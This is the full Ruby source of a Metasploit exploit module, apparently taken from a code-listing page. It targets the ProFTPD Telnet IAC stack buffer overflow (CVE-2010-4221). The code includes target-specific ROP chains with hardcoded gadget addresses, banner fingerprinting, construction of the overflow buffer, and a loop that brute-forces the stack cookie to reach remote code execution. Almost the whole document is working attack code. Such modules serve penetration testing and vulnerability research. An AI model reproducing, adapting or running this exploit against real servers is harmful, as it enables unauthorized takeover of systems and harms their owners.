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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 | ## # $Id: proftp_telnet_iac.rb 11525 2011-01-09 23:33:24Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking #include Msf::Exploit::Remote::Ftp include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)', 'Description'=> %q{ This module exploits a stack-based buffer overflow in versions of ProFTPD server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a large number of Telnet IAC commands, an attacker can corrupt memory and execute arbitrary code. The Debian Squeeze version of the exploit uses a little ROP stub to indirectly transfer the flow of execution to a pool buffer (the cmd_rec "res" in "pr_cmd_read"). The Ubuntu version uses a full-blow ROP to mmap RWX memory, copy a small stub to it, and execute the stub. The stub then copies the remainder of the payload in and executes it. NOTE: Most Linux distributions either do not ship a vulnerable version of ProFTPD, or they ship a version compiled with stack smashing protection. Although SSP significantly reduces the probability of a single attempt succeeding, it will not prevent exploitation. Since the daemon forks in a default configuration, the cookie value will remain the same despite some attemtps failing. By making repeated requests, an attacker can eventually guess the cookie value and exploit the vulnerability. The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness and could allow exploitation in semi-reasonable amount of time. }, 'Author' => [ 'jduck' ], 'Version'=> '$Revision: 11525 $', 'References' => [ ['CVE', '2010-4221'], ['OSVDB', '68985'], ['BID', '44562'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'PrependChrootBreak' => true }, 'Privileged' => true, 'Payload'=> { 'Space'=> 4096, # NOTE: \xff are avoided here so we can control the number of them being sent. 'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff", 'DisableNops' =>'True', }, 'Platform' => [ 'linux' ], 'Targets'=> [ # # Automatic targeting via fingerprinting # [ 'Automatic Targeting', { 'auto' => true }], # # This special one comes first since we dont want its index changing. # [ 'Debug', { 'IACCount' => 8192, # should cause crash writing off end of stack 'Offset' => 0, 'Ret' => 0x41414242, 'Writable' => 0x43434545 } ], # # specific targets # # NOTE: this minimal rop works most of the time, but it can fail # if the proftpd pool memory is in a different order for whatever reason... [ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1', { 'IACCount' => 4096+16, 'Offset' => 0x102c-4, # NOTE: All addresses are from the proftpd binary 'Ret' => 0x805a547, # pop esi / pop ebp / ret 'Writable' => 0x80e81a0, # .data 'RopStack' => [ # Writable is here 0xcccccccc, # unused 0x805a544,# mov eax,esi / pop ebx / pop esi / pop ebp / ret 0xcccccccc, # becomes ebx 0xcccccccc, # becomes esi 0xcccccccc, # becomes ebp # quadruple deref the res pointer :) 0x8068886,# mov eax,[eax] / ret 0x8068886,# mov eax,[eax] / ret 0x8068886,# mov eax,[eax] / ret 0x8068886,# mov eax,[eax] / ret # skip the pool chunk header 0x805bd8e,# inc eax / adc cl, cl / ret 0x805bd8e,# inc eax / adc cl, cl / ret 0x805bd8e,# inc eax / adc cl, cl / ret 0x805bd8e,# inc eax / adc cl, cl / ret 0x805bd8e,# inc eax / adc cl, cl / ret 0x805bd8e,# inc eax / adc cl, cl / ret 0x805bd8e,# inc eax / adc cl, cl / ret 0x805bd8e,# inc eax / adc cl, cl / ret 0x805bd8e,# inc eax / adc cl, cl / ret 0x805bd8e,# inc eax / adc cl, cl / ret 0x805bd8e,# inc eax / adc cl, cl / ret 0x805bd8e,# inc eax / adc cl, cl / ret 0x805bd8e,# inc eax / adc cl, cl / ret 0x805bd8e,# inc eax / adc cl, cl / ret 0x805bd8e,# inc eax / adc cl, cl / ret 0x805bd8e,# inc eax / adc cl, cl / ret # execute the data :) 0x0805c26c, # jmp eax ], } ], # For the version compiled with symbols :) [ 'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)', { 'IACCount' => 4096+16, 'Offset' => 0x1028-4, # NOTE: All addresses are from the proftpd binary 'Writable' => 0x80ec570, # .data 'Ret' => 0x80d78c2, # pop esi / pop ebp / ret 'RopStack' => [ # Writable is here #0x0808162a, # jmp esp (works w/esp fixup) 0xcccccccc, # unused becomes ebp 0x80d78c2,# mov eax,esi / pop esi / pop ebp / ret 0xcccccccc, # unused becomes esi 0xcccccccc, # unused becomes ebp # quadruple deref the res pointer :) 0x806a915,# mov eax,[eax] / pop ebp / ret 0xcccccccc, # unused becomes ebp 0x806a915,# mov eax,[eax] / pop ebp / ret 0xcccccccc, # unused becomes ebp 0x806a915,# mov eax,[eax] / pop ebp / ret 0xcccccccc, # unused becomes ebp 0x806a915,# mov eax,[eax] / pop ebp / ret 0xcccccccc, # unused becomes ebp # skip the pool chunk header 0x805d6a9,# inc eax / adc cl, cl / ret 0x805d6a9,# inc eax / adc cl, cl / ret 0x805d6a9,# inc eax / adc cl, cl / ret 0x805d6a9,# inc eax / adc cl, cl / ret 0x805d6a9,# inc eax / adc cl, cl / ret 0x805d6a9,# inc eax / adc cl, cl / ret 0x805d6a9,# inc eax / adc cl, cl / ret 0x805d6a9,# inc eax / adc cl, cl / ret 0x805d6a9,# inc eax / adc cl, cl / ret 0x805d6a9,# inc eax / adc cl, cl / ret 0x805d6a9,# inc eax / adc cl, cl / ret 0x805d6a9,# inc eax / adc cl, cl / ret 0x805d6a9,# inc eax / adc cl, cl / ret 0x805d6a9,# inc eax / adc cl, cl / ret 0x805d6a9,# inc eax / adc cl, cl / ret 0x805d6a9,# inc eax / adc cl, cl / ret # execute the data :) 0x08058de6, # jmp eax ], } ], [ 'ProFTPD 1.3.2c Server (Ubuntu 10.04)', { 'IACCount' => 1018, 'Offset' => 0x420, 'CookieOffset' => -0x20, 'Writable' => 0x80db3a0, # becomes esi (beginning of .data) 'Ret' => 0x805389b,# pop esi / pop ebp / ret 'RopStack' => [ 0xcccccccc, # becomes ebp 0x8080f04,# pop eax / ret 0x80db330,# becomes eax (GOT of mmap64) 0x806a716,# mov eax, [eax] / ret 0x805dd5c,# jmp eax 0x80607b2,# add esp, 0x24 / pop ebx / pop ebp / ret # mmap args 0, 0x20000, 0x7, 0x22, 0xffffffff, 0, 0, # unused 0xcccccccc, # unused 0xcccccccc, # unused 0x100000000 - 0x5d5b24c4 + 0x80db3a4, # becomes ebx 0xcccccccc, # becomes ebp # note, ebx gets fixed above :) # 0xfe in 'ah' doesn't matter since we have more than enough space. # now, load an instruction to store to eax 0x808b542,# pop edx / mov ah, 0xfe / inc dword ptr [ebx+0x5d5b24c4] / ret # becomes edx - mov [eax+ebp*4]; ebx / ret "\x89\x1c\xa8\xc3".unpack('V').first, # store it :) 0x805c2d0,# mov [eax], edx / add esp, 0x10 / pop ebx / pop esi / pop ebp / ret 0xcccccccc, # unused 0xcccccccc, # unused 0xcccccccc, # unused 0xcccccccc, # unused 0xcccccccc, # becomes ebx 0xcccccccc, # becomes esi 0xcccccccc, # becomes ebp # Copy the following stub: #"\x8d\xb4\x24\x21\xfb\xff\xff" # lea esi, [esp-0x4df] #"\x8d\x78\x12"# lea edi, [eax+0x12] #"\x6a\x7f" # push 0x7f #"\x59" # pop ecx #"\xf2\xa5" # rep movsd 0x80607b5,# pop ebx / pop ebp / ret 0xfb2124b4, # becomes ebx 1, # becomes ebp 0x805dd5c,# jmp eax 0x80607b5,# pop ebx / pop ebp / ret 0x788dffff, # becomes ebx 2, # becomes ebp 0x805dd5c,# jmp eax 0x80607b5,# pop ebx / pop ebp / ret 0x597f6a12, # becomes ebx 3, # becomes ebp 0x805dd5c,# jmp eax 0x80607b5,# pop ebx / pop ebp / ret 0x9090a5f2, # becomes ebx 4, # becomes ebp 0x805dd5c,# jmp eax 0x80607b5,# pop ebx / pop ebp / ret 0x8d909090, # becomes ebx 0, # becomes ebp 0x805dd5c,# jmp eax # hopefully we dont get here 0xcccccccc, ], } ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Nov 1 2010')) register_options( [ Opt::RPORT(21), ], self.class ) end def check # NOTE: We don't care if the login failed here... ret = connect banner = sock.get_once # We just want the banner to check against our targets.. print_status("FTP Banner: #{banner.strip}") status = CheckCode::Safe if banner =~ /ProFTPD (1\.3\.[23][^ ])/i ver = $1 maj,min,rel = ver.split('.') relv = rel.slice!(0,1) case relv when '2' if rel.length > 0 if rel[0,2] == 'rc' if rel[2,rel.length].to_i >= 3 status = CheckCode::Vulnerable end else status = CheckCode::Vulnerable end end when '3' # 1.3.3+ defaults to vulnerable (until >= 1.3.3c) status = CheckCode::Vulnerable if rel.length > 0 if rel[0,2] != 'rc' and rel[0,1] > 'b' status = CheckCode::Safe end end end end disconnect return status end def exploit connect banner = sock.get_once # Use a copy of the target mytarget = target if (target['auto']) mytarget = nil print_status("Automatically detecting the target...") if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then print_status("FTP Banner: #{banner.strip}") version = m[1] else raise RuntimeError, "No matching target" end regexp = Regexp.escape(version) self.targets.each do |t| if (t.name =~ /#{regexp}/) then mytarget = t break end end if (not mytarget) raise RuntimeError, "No matching target" end print_status("Selected Target: #{mytarget.name}") else print_status("Trying target #{mytarget.name}...") if banner print_status("FTP Banner: #{banner.strip}") end end #puts "attach and press any key"; bleh = $stdin.gets buf = '' buf << 'SITE ' #buf << "\xcc" if mytarget['CookieOffset'] buf << "\x8d\xa0\xfc\xdf\xff\xff"# lea esp, [eax-0x2004] end buf << payload.encoded # The number of characters left must be odd at this point. buf << rand_text(1) if (buf.length % 2) == 0 buf << "\xff" * (mytarget['IACCount'] - payload.encoded.length) buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length) addrs = [ mytarget['Ret'], mytarget['Writable'] ].pack('V*') if mytarget['RopStack'] addrs << mytarget['RopStack'].map { |e| if e == 0xcccccccc rand_text(4).unpack('V').first else e end }.pack('V*') end # Make sure we didn't introduce instability addr_badchars = "\x09\x0a\x0b\x0c\x20" if idx = Rex::Text.badchar_index(addrs, addr_badchars) raise RuntimeError, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx]) end buf << addrs buf << "\r\n" # # In the case of Ubuntu, the cookie has 24-bits of entropy. Further more, it # doesn't change while proftpd forks children. Therefore, we can try forever # and eventually guess it correctly. # # NOTE: if the cookie contains one of our bad characters, we're SOL. # if mytarget['CookieOffset'] print_status("!!! Attempting to bruteforce the cookie value! This can takes days. !!!") disconnect max = 0xffffff00 off = mytarget['Offset'] + mytarget['CookieOffset'] cookie = last_cookie = 0 #cookie = 0x17ccd600 start = Time.now last = start - 10 while not session_created? now = Time.now if (now - last) >= 10 perc = (cookie * 100) / max qps = ((cookie - last_cookie) >> 8) / 10.0 print_status("%.2f%% complete, %.2f attempts/sec - Trying: 0x%x" % [perc, qps, cookie]) last = now last_cookie = cookie end sd = connect(false) sd.get_once buf[off, 4] = [cookie].pack('V') sd.put(buf) disconnect(sd) cookie += 0x100 break if cookie > max end if not session_created? raise RuntimeError, "Unable to guess the cookie value, sorry :-/" end else sock.put(buf) disconnect end handler end end |
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